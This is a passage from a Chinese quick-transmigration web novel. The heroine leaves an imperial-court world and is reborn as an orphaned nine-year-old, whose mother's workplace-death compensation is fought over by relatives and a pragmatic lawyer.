夕阳沉下,将一切染为暗色,已经成为皇帝,年老的她,看向对面相伴多年的同伴,沉声道:“那你到底是谁呢?”不是没有察觉啊,这么多年的相伴,再迟钝的人也应该意识到,一直陪在身边的人,或许真的不是此界之人。对面的人,在夕阳中,露出一个模糊不清的笑容:“陛下,请将你的手伸给我。”郦嗣音已经习惯听从眼前人的任何话,毫不犹豫伸出去,那人便伸出手指,在她手上描绘着什么。那应该是个名字,可惜“神仙手段”,只承载记忆,不承载感情,她可以看见在她掌心描摹的手指,却再也感受不到掌心的触感。只能从那人停顿的次数来看,依稀辨认出是三个字,但绝对不是关娴枝。 季嗣音有点失落,画面里的自己却已经了然,合上手掌。“为什么不直接告诉朕?”“天界有规定,神仙的名字,不可以轻易透露给凡人。”“这和直接告诉有区别吗?”“当然有,哪怕此刻您能记住,命运重启时,您也将忘记这个名字。”“哈,那你这个神仙,当初为什么要那么惨兮兮地出现在朕身边?” 对面的“神仙”一笑:“因为我犯下大错,改变了一个人的命运,只有将她的命运扭转,才能弥补前非。” “然而命运之笔,是凡间最难扭转的东西,只有身为真龙天子的您,才能重新书写。”“我这一生,没有向您求过太多东西,只有一件事,是我心中所想。”“当您的命运再次重启,您的生命重复青春,将那时的‘我带到身边。”“像我教导您那样教导她,可以吗?”季嗣音看向轿中人,教导,那个人敢说教导她吗?季嗣音心情不悦,沉默了半晌,才纡尊降贵地伸出手。关娴枝不知自己是不是会错意了,但本能的将手放在她手心,任由她牵出。关裴两家的人,齐齐跪地,不敢抬头,永宁公主怎么突然驾临了!若说京中皇帝第一的话,永宁公主就是当之无愧的第二,在这里,她可以做想做的任何事。似笑非笑地打量了一下眼前人,又扫了一眼地上的众人。“真是一个不错的大家之秀啊,送给裴卿可惜了,不如送给孤吧。”底下的人跪地惶恐,不敢答话,关娴枝也手足无措,她和永宁公主从无交集。 季嗣音抬起下巴,她不喜欢这样懦弱之人,却还是将眼前人牵到了身边。 谁让朕的爱卿,竟真为朕求来了长生呢? 哈哈哈!……叶奚青看向自己的掌心。郦嗣音可从不甘心被人压一头,还想在她面前装神仙?一把抓住她要抽走的手,摊开,学着叶奚青之前的样子,依样画葫芦,一笔一画地描绘着。叶奚青侧身不解:“陛下这是干什么?”郦嗣音冷笑一声:“就你的神仙名字珍贵?朕的名字也很珍贵!”“给朕好好记住!不然掘了你的巫山!断了你的宗脉!” 叶奚青: …. “陛下,虽然您的名字确实很珍贵,一般人不敢提,但臣下确实不可能不知道。”郦嗣音才不管这个:“废什么话,朕要你记住你就记住,朕可是皇帝!”叶奚青合上手掌,差点被气笑了,是你的主场吗,你就等价代换?她确实可以一直记住郦嗣音的名字,那是因为她乃天女下凡,法力无边,小小凡间帝王,拿捏拿捏。郦嗣音还想和她比,有本事叫她真名一声!看着屏幕里一直摊开手心,左看右看,挠头不解的季嗣音,叶奚青心情大畅。本神君是你这辈子只可追忆之人,人神有别,我们再也不会见面了,熊孩崽子! …… 叶奚青第一次这么高兴回到系统空间。 这个世界,她不仅要给封建社会特产熊孩子当保姆,还要被困在一个病怏怏的身体里,病怏怏好几十年,感个冒都像闯生死关。 重回自己身体,几乎忘了能跑能跳的时候是什么感觉,叶奚青一口气摇绳摇了一千下,长舒一口气,爽! 叶奚青本人,没什么很极端的素质,用老话说,六边形战士,没有哪端极度突出,也没有哪端极弱,身体也是如此。 她性子喜静,没有户外运动爱好,但她妈把她身体生得挺好的,不用锻炼,体测也轻松跑前游。 校运会时,班委总会半推半就地给她报三四个项目,就算不指望她争成绩,也会让她去凑数。 叶奚青有时候是嫌麻烦,连推辞都懒得推辞的性格,所以一般不会拒绝。 但她讨厌运动,极为讨厌,让她去凑数她就去凑数,绝对不会想着为班级争光,死跑累跑,就算是接力也不会。 当然了,她会在外表上表现得极为努力,尽力了,能力所限也是常有的,不要对她要求太高。 现在经过这个世界的摧残,她的体育倦怠症被彻底治好了。 生命在于运动,她爱运动,以后她会每天早起跑八百,德智体美全面发展。 当书呆子是不行的,运动!运动! 系统看她运动完心情舒畅的样子,老老实实给她结算:“宿主,积分到账,请查收。” 叶奚青平复一下呼吸,看向自己的账户。 这个世界她使用了【美容丹】体验卡X2,【记忆铭刻】X3,两个给了郦嗣音,一个给了郦文鸢。 给守关人一个【记忆铭刻】是惯例,但这个世界不一样,除了要让丽嗣音记得“前世”的事,还要她记得一些专业知识,作为科技启蒙,一个不够。 关于科技部分,叶奚青没按照自己世界的知识教,直接采取了上个轮回,这个世界本土化后的成果,一方面便于这个世界人理解,一方面现成的省事。 可不要说她作弊,不是东道主的优势条件隐形了,就不存在了,场地都是倾斜的,还谈什么公平? 对面拿出几千年的场地优势,她拿出三个记忆铭刻,非常合理。 郦文鸢也来一个,不然重生回去,在夺嫡只剩十年时间的情况下,花五年时间攻略亲妈也太离谱了。 【美容丹】体验卡2888,【记忆铭刻】4888,一共20440,和上个世界居然差不了多少,主要是上个世界的【避子丹】太贵了。刨去花销,她现在有547305积分,而让她震惊的是,这个世界结算积分居然有574209,比她过往积累的总和还多。 叶奚青看着攀过百万大关,变成1121514的积分栏,有些惊讶。 “这个世界有特别的剧情吗?” “我觉得以你们世界不需要考虑物质条件的情况,这个世界的剧情不仅不出色,还有点无聊。” “我都做好积分下降的准备了,怎么还涨了?” 系统:…. “可能是宿主和公主卖姬卖得挺好吧,观众爱看。” 叶奚青忍不住笑了一下:“是吗,真想不到喜欢看你剧情的观众,居然会是百合受众,早知道多卖点了。” 系统:…. 这个世界让它极为挫败,好久都没缓和过来。 但事已至此,人生还要继续,系统拼凑好自己的自尊心,对着叶奚青维持正常道: “宿主这次任务完成得非常出色,系统真为您高兴。” “但因为古代属于极端世界,长期生活在其中,可能会对您的精神和行为产生负面影响。” “所以下一个世界,系统将会为您挑选一个轻松的现代副本,宿主可以在下个世界,好好调整一下精神状态。” “哦。”叶奚青看向系统,露出一个微笑:“想不到你们系统,居然如此人性化。“ 系统面不改色:“过奖,过奖。” 相处这么长时间,叶奚青已经对自家统什么样,有清晰认识了,但积分突破百万大关,也让她心情愉悦。 按照系统说的,积分可以1:100的比例兑换现实最保值的货币,也就是说她现在是亿万富婆,不是人民币。 这个打工回报率还是挺高的,一般工资高,就能忍受一些老板的傻屌。 叶奚青赏玩了一下自己的积分栏,她没有囤积癖,但看着不断增长的数字,确实心情愉悦。 “既然是个放松本,直接把我投下去吧,比起休息,我更想和一群现代人相处。” 系统看了她一眼:“宿主确定?” 叶奚青点头:“确定。” 系统没想到她会这样做,非常高兴,它其实也想尽快开下一个世界! “那系统将为您开启下一个世界,这个世界是个很轻松的题材,也是一个宿主很熟悉的题材。” “第三个世界,有个姊妹篇,是一篇基调温馨的救赎文,它的名字是—””《暖暖掌中光》。” …… 秋天怡坐在原地,她觉得自己的大脑有点慢。 不知道是刚得来的消息让她消化不了,还是她生锈了。 但不是想这些的时候,老师还在外面等她,好学生不能让老师等很久。 秋天怡伸出小小的手,将文具和课本,全部装进书包,在一屋小朋友的注目中,走出教室。 门外,是接她的老师,和一群从未见过的陌生人。 老师的表情很凝重,叹了一口气,摸摸她的脑袋 “秋天怡同学,老师有个不好的消息要告诉你,你一定要学会坚强。” 94、《暖暖掌中光》 贺新新每天都很烦躁。 作为一个曾在大律所,当了好多年底层燃料的打工仔,她受够了大律所那种苦熬资历,老人敝帚自珍,新人尔虞我诈的工作氛围。 本来刚毕业的时候,听学姐说这行水深得很,她还当学姐开玩笑,哪来的那么多弯弯绕绕,又不是拍电视剧! 结果真进职场后,才发现电视剧拍保守了。 真实的职场,虽然不像电视剧里演的那样,每个人都脸谱化地把心机摆脸上。 但一个看起来老老实实的贱人,突然抢你功、推你锅的时候,你才会发现,贱人也可以长这种样子! 贺新新深吸一口气,她可以忍。 忍了好几年,摸透这个行业的基本运行原理,立刻辞职,自己筹建一个律师事务所单干。 她们家,是一个城市中产家庭,和贫困没什么关系,但也没有太富。 有一个弟弟,弟弟比她小得多,被爹妈惯的啥也不是,死拽拽不起来。 每天梦想着打电竞成神,赚大钱,学也闹着不上了,光游戏设备搭进去好几万,报各种班,又花去好几万,还闹着家里人不埋解他。 其实有时候回家,看着她弟那副每人欠他八百万的表情,她是有点生气的。 但也有个好处,就算她父母再宝贝小儿子,觉得宝贝儿子啥啥都好,也不得不面对现实,他们投资儿子,短期内应该见不到回报,也就对女儿好起来。 贺新新也不客气,忽悠着家里支持了她十来万,加上自己这些年的积蓄,又贷了一些款,“新新律师事务所”就那么开张了。 律师是一个很特殊的行业,外人看着光鲜亮丽,穿西装,打领带,和电视上皮鞋啪啪戳地板的电影明星一样,好像很高大上,行业内的人却知道自己在吃屎。 干了那么多年,贺新新其实知道就业环境恶劣,但趁乱才好摸鱼,如果一个行业鱼龙混杂,那就既不好出头,也好出头。 就业环境是一体的,恶劣的环境平等地影响着每个人,良莠不齐的竞争者,不仅会影响普通从业者,也会稀释顶尖人才。 和你一起跑的,很多都是不如你的,就算大律所也是一群镶金混子,稍微有点本事,就能拔尖,真金是稀有物品,委托人不一定能捞得到,被混子坑了后,没准还觉得你挺好。 比起实力,这行还是运道更重要,不知搭上哪波春风,就莫名其妙火了,不需要跑赢顶尖大律,跑赢底下那一群混子就行。 贺新新莫名其妙对自己的运道挺自信的,不好解释那种感觉,但她觉得自己出去做事,肯定能吃上饭。 宁为鸡头,不作凤尾,给大律所干是干,给自己干也是干,没道理那么多私人小律所做得起来,她就做不起来。 不成的话,大不了重新回去当牛马,专业知识她不会抛的! 做好规划后,贺新新立刻辞职,出去单干。 自己给自己干后,精神上确实好了很多,不仅不需要一些无用交际,还少了大所那种待长了,就开始否定自身价值的感觉。 自己给自己干,每一个进步,都可以清晰地看到成果,意识到自己在创造价值。 而在大所,所有人都只是流水线上的一颗螺丝钉,不仅很难在层层封锁中学到什么东西,还会消磨意志,自我否定,不知道自己所做的工作是否有意义。 贺新新这种自我意识极强的人,是受不了这种意志消磨的,她会出去单干,不用奇怪,但自己出去干后,才知道世间没有净土。 给大所打工有打工的痛苦,自己创业,也有创业的痛苦。 作为一个毫无根基的新所,所有业务都得她亲自去跑,员工得她亲自招,新人得她亲自带,欠款得她亲自追,甚至有时候官司都得她亲自去打!贺新新每天忙得脚不沾地,还要忍受好好养出来的新人,连招呼都不打,提桶跑路那种事。 想起之前某个提桶跑路的新人,贺新新就气不打一处来。 她对那个新人,非常看重,重点培养,倾囊所授,结果某天她撇下她的客户就跑了,打了无数电话去问,就得到一句不想干了。贺新新快被气冒烟了,她知道自己不是什么好所,不仅没有什么可以称道的背景和前景,面试的时候也不敢跟来人谈工资,社保也是会交的会交的。但她这个人真诚啊!她那么真诚,就不能陪她创会业吗!不陪将军吃苦,哪能成为将军夫人,贤工扶我青云志,我还贤工万两金啊!贺新新虽然还没完全码起一个盘子,但已经有了老板的优良品质,从不质疑自己,员工不乐意跟她干,一定是员工不乐意吃苦。挥退对白眼狼新人的谴责,贺新新赶去一个汽配厂,有一桩工亡赔偿纠纷需要处理。 公司小赵给她打电话,说她有个委托需要出门,另两个人也有事,走不脱,老板你亲自去一下吧。 那贺新新能怎么办呢,开着车,直奔目的地,一进老板的办公室,就听见死者家属在号啕大哭。 贺新新停下脚步。 对于工亡纠纷,如果是苦主找她,她就习惯观察厂家和老板。 如果是厂家找她,她就习惯观察苦主。 现在是厂家找她的情况,她自然要停下来观察一下现场情况。 一方面是知己知彼,百战不殆,一方面是苦主闹得狠,她们律师费更好收。 贺新新听着里面的争吵,工亡纠纷中,家属的吵闹大同小异,她只是在辨别这个家庭的成员构成。 应该有五个人,死者的父母、兄弟,以及嫂子。 其中死者的母亲和嫂子是争吵主力军,死者父亲蹲在门口抽烟,年轻的弟弟时不时掏下衣袋看手机,神情中都是不耐烦,应该还有个哥哥,在里面看不见,但也听不见他的声音。 很典型的一家人,家中男人沉默无声,女人冲锋陷阵。 这样的家庭有个特点,男人会比较“要脸”,找他们谈事会简单一点,因为他们比较“通情达理”,爱面子,当面架起来,就不好下架。 白脸红脸一起唱的情况很常见,遇到这种场合,绝对不能让白脸成为主唱,那是最好的进攻模式,白脸的目的其实也是红脸的目的,被他们搭配起来就完了。 但若把红脸抓成主唱,红脸往往会因为舍不得面子,反而和白脸内讧起来,就是她们最好的进攻时刻! 只一眼,贺新新就做出了判断,掏出手机,啪啪打字去群里,分享信息。 她接活不一定她来做,除了小赵是老人,另两个都挺新的,得教她们一些常识,早日出师,不能什么活都让她这个老板来啊!判定好基本状况,贺新新就有闲心听里面的对话,从而判断委托人的性格。汽配厂老板一直低声下气地赔礼道歉,“是是是”的附和,看来也不是一个喜欢撕破脸的人。她把两方情况都掌握了一个大概,然后看向最后一个人。不要问她为什么现在才看到,她是一个社畜,只关心自己的工作,对旁的都不关心,那个人不会对本案产生任何影响,因为她只是一个八九岁的小女孩。一个八九岁的小女孩,失去母亲后,在这个世界上已经没有任何人会为她遮风挡雨了。 一群人挤在老板办公室门口,热热闹闹,只有她一个人坐在走廊的休息椅上,无聊地踢着腿,摇晃着身子,好像还不知道发生了什么。 只要是人,就难免心软,看到失去母亲的弱小孩子,没有任何人会不被触动。贺新新走过去,多余地摸了摸小孩脑袋:“嗨,小朋友,怎么一个人在这里啊?”梳着羊角辫的小姑娘停止自娱自乐,抬头看向她。她的眼眸黑漆漆的,没有一点杂色,配合孩童天真的面容,看起来仿佛不染尘埃的天使。小女孩仰起脸,认真地开口:“我没有一个人在这里啊,那边是我的姥姥姥爷,我妈妈不在了,他们在抢我妈妈的赔偿金,我在这里等他们。”贺新新:…. 啊? …… 不仅是贺新新震惊了,弹幕也震惊了:“青神的记忆真的被压制了吗?” 系统也是焦头烂额,努力检查了一下叶奚青现在的数据,没错啊,是只有九岁秋天怡的智商和记忆啊! 这个世界,作为一个“心理调整”世界,给了所有人一个惊喜,那就是— 不保留属于叶奚青原本的记忆! 叶奚青会以秋天怡的身份,重新长大一遍,她的各项数据,都比照秋天怡本人。 至于为什么这么做,一方面是这个副本太简单了,若让叶奚青拥有完全体的记忆,那就是第二、三世界的复刻,还救赎个蛋啊! 另一方面,系统真想看看,若没有累世记忆,叶奚青是否还能表现得和之前那样恃才傲物,油盐不进! 消息一放出去,弹幕一片嘘声,切!真玩不起! 之前系统带别的宿主,哪怕后面重回低端世界,也不压制记忆,要的就是那种降维打击的爽感,如今还搞削记忆这套! 这么多个世界,系统已经能接受观众全叛变成叶奚青的这个事实,忍气吞声地解释。 “不是长久压制,只是现在的任务者太小了,大脑还没发育完全,无法承载过量的记忆,等大脑发育完整,自然会解放禁制。” “而且你们就不想看看,幼年时的青神是什么样的吗?” 观众的情绪瞬息万变,这么一说,顿时满心期待。 是啊,看看青神小时候也挺有意思的。 幼崽青青,限定版登场! 当系统的镜头,打在梳着羊角辫,眼眸乌黑的“小青青”身上,满屏都被“可爱”刷屏了。 因为系统的镜头语言,和幼年叶奚青的表现都太淡定了,观众也没意识到现在是哪个故事节点。 当幼年“秋天怡”把话说出口后,满屏都打了问号—— 嗯?……贺新新瞬间愣在原地,低头看向圆眼圆脸的小女孩:“你怎么知道……小女孩淡定地看着她:“我当然知道,我是小孩子,又不是小傻子。”贺新新:….她是大傻子……沉默一会,继续问:“那你就不难过吗?”秋天怡转过头,继续踢着自己的腿玩:“难过啊,但是我再难过,妈妈也不会回来了,只有故事里的死人才能复活,但是故事是假的,我六岁就知道了。”贺新新:….如果秋天怡和这个年龄的其他小孩一样懵懂,她还可以用一些鬼话安慰她,但她这么早熟,贺新新反而不知道怎么接话了。她陷入沉默,秋天怡却抬头看向她:“那阿姨是来干什么的呢,你是我妈妈的朋友吗,来帮我妈妈的吗?”贺新新:….她此刻倒真希望自己是这个汽配厂的员工,那她就可以毫无顾忌开口了。一想到自己的职业,良心还真的隐隐作痛,但面对一个年纪虽然小,却认真和你说话的人,谎话也很难脱口而出。算了,让这个小姑娘提前见识一下人心险恶吧,贺新新没有丝毫隐瞒道:“我是这家工厂请来的律师,帮他们处理你妈妈的赔偿金。”秋天怡歪歪头,似乎在思考,看来这个概念对小朋友来说,还是太难懂了。就在贺新新拍拍她的头,想告诉她总有一天她会明白的时候,秋天怡开口了。 “那阿姨,你可以把我妈妈的赔偿金给我吗,那是很多很多的钱,我也想要。” 95、《暖暖掌中光》 贺新新陷入沉默。 “那你拿什么委托我呢?” …… 一大一小,就这么坐在门外,等着里面完事。 秋家人得到老板的保证,心满意足地出去,死者的嫂子看见坐在长椅上的秋小丫,一把抱起她,打道回府。 秋小丫妈妈之前租的房子还在,人死了,房租还没到期,一家人都暂住在那里。 那个房子离汽配厂很近,方便秋家人天天来厂子里讨公道。 贺新新看了一眼趴在女人肩头,回头看着她的小女孩,没有说话,起身走进委托人的办公室。 等人走后,汽配厂老板顿时骂了一声娘一屁股在老板椅上,弹了好几下。 若不是他桌子上那套茶具很贵,他都想桌面清理大师一下,但想到物品的价钱,只能作罢,仰头扶额难受。 贺新新站在门外,敲敲了敞开的门:“李总,方便进来吗?” 听到声音,李老板顿时从椅子上弹起来,圆滚滚的肚子非常灵活,满脸堆笑道:“方便!方便!您是?” 贺新新走过去,坐在他对面,放下电脑,递过去一个名片:“您好,我是新新律师事务所的律师,之前您给我的员工打电话,好像有一个工亡纠纷要咨询。” “她现在有别的案子,不能来,我替她来一下,不知道李老板有什么需要帮助的吗?” 收到名片,汽配厂老板顿时站起身,和她握手:“啊,是贺律啊,您好您好,没想到来这么快,都没来得及做什么准备!” 贺新新站起来还礼:“没事没事,我们公司就在贵公司不远处,XX大厦,几步就到了。” 李老板恍然大悟:“那啊,那我有认识人啊,XXX你知道吗?” 贺新新想了想:“有点耳熟,做招投标的是吧,好像是和我们一个楼,他们平时会找我们做一些法律咨询。” 李老板顿时双眼放光:“那是熟人啊!熟人!” 贺新新跟着点头:“是啊,熟人,熟人,留个联系方式,以后有法律上的事,您尽管问。” 知道是熟人后,气氛顿时缓和起来。 汽配厂老板看向贺新新:“贺律什么时候来的,刚来的人,看见了吗?” 贺新新点头:“来好一会儿了,刚才见人多没进来,这就是李老板遇到的麻烦事吗?” 汽配厂老板长叹一口气:“您都看见了,我也不瞒您了,就是这么个事。” “不管怎么说,人死在我这,我也不是一分不想赔。” “但他们一家人也太过分了,是想把我这个厂子要倒了啊!” 这么大个厂子,被一点赔偿金要倒,贺新新是不信的。 但律师就是谁掏钱,帮谁做事,所以贺新新立刻顺着他的意思表示赞同,然后开口问。 “那李老板没有交工伤险吗?一般像您这种企业,都会给员工交五险金的吧,五险金里面包括工伤险,工人因工致死的话,是可以理赔的。” 汽配厂老板又叹了一口气:“交了啊,但那家人还不满足啊!” “其实我赔他们点也没什么,小秋给我干了那么多年,我也不是不念情分的人,但他们要得也太多了!” “张口就是五百万,我的那点好心,不是被他们拿来发财的,这笔钱赔着就憋气!” “他们女儿给我干一辈子能赚五百万吗?死了倒是谁都来了!” 贺新新顿时跟着点头,再次表示赞同,然后继续问:“那在工人死亡这件事上,贵方是否存在客观意义上的重大失误呢?” 李老板:…… 见他不答话,贺新新严肃道:“李老板,我有一件事需要跟您说明白,我们律师虽然也从事法律行当,但我们不是执法者,而是您的代理方,和您完全站同一立场。”“哪怕事实对您再不利,您也千万不要对我们撒谎,如果您隐瞒事实的话,到了法庭上,我们会非常被动。” 李老板:…. 虽然这么说,但要将全部真相和盘托出,李老板还是有些说不出口。 笑着打马虎眼:“这情况挺复杂的,谁说得清到底是怎么回事呢。” 贺新新笑了,看向汽配厂老板:“李老板,您似乎还有点不信任我,听您的语气,感觉还挺微妙的,那我就和李老板说实话了。” “如果您有些问题说不清的话,死者家属可以向您主张额外赔偿,成功率高达70%,那三十的概率,是赌对方诉讼律师是个弱智。” “说句不好听的,我现在都有点后悔了。” “我要不是先从您这得到消息,而是先从死者家属那得到消息,就可以开开心心准备开庭了。” “这种赔偿纠纷,律师是可以按比例收费的,李老板,您想好赔多少了吗?” 汽配厂老板:…… 他感觉自己被套住了。 都是做生意的,他才不相信这个人会有什么职业操守,先被他委托,就不帮着另一方打官司了。 坐正身体,连赔了好多好话:“那按照贺律的专业眼光来看,要是对方和我打官司的话,我需要赔多少?” “那就要看李老板的行为,如果您有特别大的失误,且证据确凿,那您要做的准备就不是赔偿。” “重大错误,致人死亡,会追究刑事责任,而且保险公司也有理由向您追偿,您需要同时赔保险公司和苦主,我想您当初也没仔细看保险的合同条款吧。” 汽配厂老板:…… 这世界上大多数人,都喜欢找熟人,汽配厂老板也不例外。 李老板在事情发生之初,就七拐八拐找熟人问过一个律师,得到差不多的话,且让他一定要找个专业的律师来看,不然会出大事。 汽配厂老板因为这个找来贺新新,一番交谈后,感觉自己被套得更牢了。 之前只是不想赔钱,现在怎么感觉不仅得赔钱,还得坐牢呢,那他找律师的意义是什么! 贺新新笑了一下:“李老板,有些事情就是这样,不究细节,大家都好,一追究起来嘛,呵呵。” “律师只是个助手,不是事实更改器,您不要指望像电视剧里演的那样,雇一个金牌律师,把黑的说成白的,我们律师要基于法律和事实工作,不然进去的就是我们。” 汽配厂老板将身体搁在椅子上:“那就是一定要我赔了?” 如果只能破财免灾的话,他找律师有什么用啊! 贺新新继续道:“赔当然是要赔的,但怎么赔,赔多少,里面也有门道。” 李老板一顿:“什么门道?” 贺新新看向他:“在现行法律中,赔偿金和遗产是不一样的,遗产更倾向于顺位均分,而赔偿金会优先考虑死者的孩子,尤其是在死者的孩子未成年的情况下。”“而我们这个死者,恰好有一个九岁的孩子,那她就是这场赔偿纠纷的关键。” 汽配厂老板抬起了点身子:“可是我听说未成年不是没有决策权什么的吗?” 贺新新点头:“确实没有,但孩子还有个父亲,母亲死后,父亲自动获得监护权,也就是说,还有一个父亲可以参与孩子的利益分配。” 李老板深吸一口气,好像有点明白了:“让我去和孩子的父亲谈赔偿?”贺新新没有说什么,只是一笑,李老板秒懂。若是像之前那样,独自面对秋家人的诘责,他会受到所有冲击。而秋蕙是个离过婚的女人,他前夫和秋家没什么交情,若是他加入战场,秋家人反而要先和她前夫争执起来。 如此一来,确实是没有解决办法中的最佳解决办法。 汽配厂老板站起身,激动地跟贺新新握手:“那贺律,这件事就拜托您了!” 贺新新满意收工:“好的李老板,咱们走个合同。” …… 贺新新出门看了一眼合同金额:十万。 不要说她要的黑,她要是帮家属打官司,赚得更多,没开玩笑。 不让她上这赚,她就去别的地方赚,到时候没准还能顺手把李老板送进去。 当然了,这只是和死者家属那边对接,要是和保险公司有纠纷,还得另外掏钱,保险公司的法律力量太完善了,她才不打包干。 如此一来,刨去纳税,一年的水电租和各种杂费,满满够用了,以后就是纯赚。 就是员工的社保,确实得安排一下。 小赵是老人,生完孩子空窗了三年,找不到工作,被她收留,一直任劳任怨,也不轻易走,底下的两个新人,恐怕会有点想法。 都是当律师的,欠律师社保太危险了,还是赶紧给安排上吧! 让兼职会计的小张收账,并画了一通饼后,贺新新看起了手心。 那是一个小孩子给她的儿童电话手表,在她说“你拿什么委托我的时候”,小女孩歪头想了想,把自己最珍贵的儿童电话手表,郑重其事地塞她手里,一脸认真地看向她。“等我长大了,什么都可以!” 以前都是她给别人画饼,没想到还能有人反过来给她画饼。 贺新新从不做赔本的买卖,看了许久,打起一个电话。 等电话接通,立刻热情道:“喂!林姐,是我,小贺啊!我这边有个可好的内部消息,想知道吗?” 虽然大家都觉得,一个地方的同行是冤家,但其实背地里,也会有些私交。 贺新新和林姐那边的人,相对喝了半天咖啡,最后各自拿着结果,去劝服自己的委托人。 汽配厂老板那边,保险公司支付了108万,汽配厂老板支付了80万,给死者孩子的监护人。 林姐那边作为秋父的代理,让秋父接受了这个协商结果,并且帮他出主意,为了防止死者娘家人那边抢夺赔偿金,可以向法庭申请冻结款项,等孩子成年后,便有了完全的支配权,秋家人再不能争夺。 秋父没想到离婚多年的前妻,还能给他这么大的惊喜,天上掉下来的巨额资金,不要白不要! 但是为什么要冻结呢,冻了后,他不是也没办法花了吗! 林律却直接对他说,你这么多年都没支付过孩子的抚养费,如果秋家人告你,孩子在他们手里,是有可能剥夺你的监护权的,那你别说冻结的赔偿款了,所有都得给秋家人代管,你乐意? 不要那么死脑筋,孩子都在你手里了,到时候还不是你想怎样怎样! 再好的东西,也只有吃进嘴里才有用,秋父立刻打消了主意,孩子都是他的,冻结个几年又有什么关系,反正小孩今年已经九岁了,再过个九年就成年了,他等得起! 怀着各自的目的,众人一顿混乱互殴,终于达成了最终结果。 一共188万的赔偿金,给死者父母20万,林姐那边律师费取了8万,一共剩了160万,全部归属于死者孩子,赔偿款予以冻结,等死者孩子成年后解冻,监护人仅可持街道证明,支取用以抚养孩子的费用。 只得到20万,还要刨去他们的律师费,秋家人报以极度失望,却没办法改变判决结果,只能指向秋小丫:你有没有良心,你小时候都是我们带的,你却帮着爸爸骗妈妈的钱! 赔偿金总额取决于工厂老板给了多少,谁占大头取决于谁有孩子监护权,秋家人本来对监护权极度自信,却没想到秋小丫直接选择了“爸爸”,奠定大局。 为什么!他们家可是养了她三年呢,他那个爸都没露过面,为什么选爸爸! 秋父异常得意,还能为什么,是他老沈家的种呗,走了,宝贝回家! 秋天怡没有说话,乖乖跟着爸爸回家,回头对着秋家人露出一个微笑。 虽然从没有见过爸爸什么样,但你们什么样,我已经见过了。 96、《暖暖掌中光》 系统又想尖叫了。 虽然原剧情也是秋天怡在母亲死后,回到父亲身边,但怎么感觉有点不一样呢! 贺新新这个NPC以前没当回事,现在才发现,她怎么在全世界路过啊! 九岁的秋天怡,没什么表情地坐在后座。 秋家人确实养她到三岁,但三岁前小孩是没什么记忆的,所以秋天怡印象中只有和妈妈在外面时的日子。 那时秋蕙忙着上班,孩子又不好老带到工作的地方,就将小孩锁在家里,厉声呵斥:“不许乱跑!不许乱动!知道吗!” 小孩子虽然很喜欢闹,但也很知道权威,知道妈妈真不让闹,就不闹了,乖巧点头。 秋蕙早上出去锁上门,中午休息的时候赶紧回来,等晚上回家的时候,再身心俱疲地处理女儿一天的事。 日子过得很极限,好在秋天怡一天天长大了,有些事不用说她自己也懂了,秋蕙就轻松了一些。 就在日子渐渐步入正轨的时候,秋蕙意外离世了。 秋天怡已经九岁了,小孩子什么都不懂,只是大人的轻视,其实她六岁的时候,就知道什么是死亡了。 恶毒后妈将小孩子骗到苹果箱面前,落下大箱子,小孩子的脑袋就滚下来,人就死了。 后面的复活,是故事,秋天怡虽然看得津津有味,但她本能就知道故事和真实的区别,她只喜欢这些有趣的情节,不会把故事当真。 所以她知道,妈妈死了,就是简简单单地死了,不是像故事中的小孩一样的死法,也不会复活。 对于她来说,只要接受妈妈不会按时回来就好了,这是她需要接受的事,她的妈妈反而不会烦恼。因为妈妈已经在这个世界上彻底消失了,消失得干干净净,一个再不存在的人,当然不会烦恼啦。 秋天怡选择跟着爸爸回家。 她其实也没见过爸爸,但秋家人说的一切,她已经能听懂了。 那些关于买大房子,到底给大舅舅还是小舅舅的争执,她有一搭没一搭听着,没放在心上,注意力全在面前来回交错的几双筷子上。 妈妈在家时,会把所有好吃的东西夹在她碗里,看着她吃完,她不吃还会生气。 但是新来的舅舅一家,一进来就把她们家全占了,不要说吃饭时想着她,就是买一把香蕉,也不会分她一根。 如果连根香蕉都不分给她,那其它的东西更不会记得给她,所以妈妈给她的钱,她当然不会让他们碰。 法院里出来,她又遇见了那个偶然一见的阿姨。 如果真的只是一个什么都不懂的孩子,贺新新就不想管了。 一个不能自主的孩子,失去母亲,无论如何都要落入悲惨的境地。世界上悲惨的人太多了,如果一直把自己当救世主,会活得很累,贺新新没有那种救世主情结。但这个孩子展示出的异于常人的冷静,又让她的心动了一下。她是做律师行业的,嘴皮子对她来说是最值钱,也最不值钱的东西。让她给一个陌生女孩当妈,那不可能,但随便动动上下嘴唇,还是没什么难的。 “除了自己,不要相信任何人,任何人想动你妈妈留给你的钱,你都不要答应,包括爸爸,一有事就去找警察,知道吗?” 秋天怡看向她,点点头。 同样是只见一面的陌生人,她更愿意相信这个和自己没有丝毫关系的陌生阿姨。因为这个阿姨,喜欢把条件谈在前面,她的“亲人”,却喜欢把条件谈在后面。都不敢放到前面来,能是什么好事,秋天怡背起书包,就跟着“爸爸”回家了。秋天怡父亲家,在附近的一个小县城,家里有个老店面,卖五金的,不说大富大贵,也比一般人家好。所以秋父去城里打拼了一下,发现挣得还不如家里吃老本多,就打道回家,继承家业去了。这些年胸无大志,养出一身膘肉,挺着大肚子吭哧吭哧回家,一进门就扯着嗓子一脸高兴道:“看我把谁带回来了!”正值暑期,沈家人都在。 小县城,还是城乡结合的风貌,沈家还是那种带院子的大平房。不过沈家人有点经济实力,房子样式虽老,却是改造过的,一长溜平房,外面贴着整齐的小白瓷砖,里面自改水电,两个门供人进出。台阶修得很高,通罩了玻璃门厅。 门窗外墙瓷砖颜色有点老了,门厅里却爬了一架颜色极喜人的吊兰,弥补了这份老旧。院子走道上,铺了花砖,路两边一边砌了个车库、杂物棚,另一边用砖墙垒了个小园子种菜,现在这个时节,黄瓜正爬满架。沈家人正各干各的,原本就没有声息,听见门口有人,所有动作都停下来,一齐看过去,陷入诡异的沉默。秋天怡停下脚步,她对危险一向很敏感,这种诡异的对峙,让她瞬间警觉,同样面无表情地看回去。空气陷入一种诡异的真空,很快恢复正常。沈家小女儿沈君骄,如今已经上大学了,她前嫂子在的时候,她们处得还行,但这么多年,什么感情也忘光了。随便洗了洗刚摘下来的黄瓜,咬一口就进屋了,她才懒得管这些事。蒋老太也是看了一眼,就低头在大盆里摘豆角,沈老头继续鼓捣他那破自行车。倒是秋父的第二任老婆马慈心,看到父女二人,露出一个欢欣的笑容,热情地迎上去:“哎呀,这就是小秋吧,长得可真可爱!”秋父本来吼那一嗓子,就是想让一个人顺理成章把小孩接过去,他可不会带孩子,但没想到谁都没理他。还是媳妇贴心,秋父顿时乐了,把秋天怡往马慈心面前一推,一脸慈父姿态地对秋天怡道:“以后这就是你妈了,叫妈。”秋天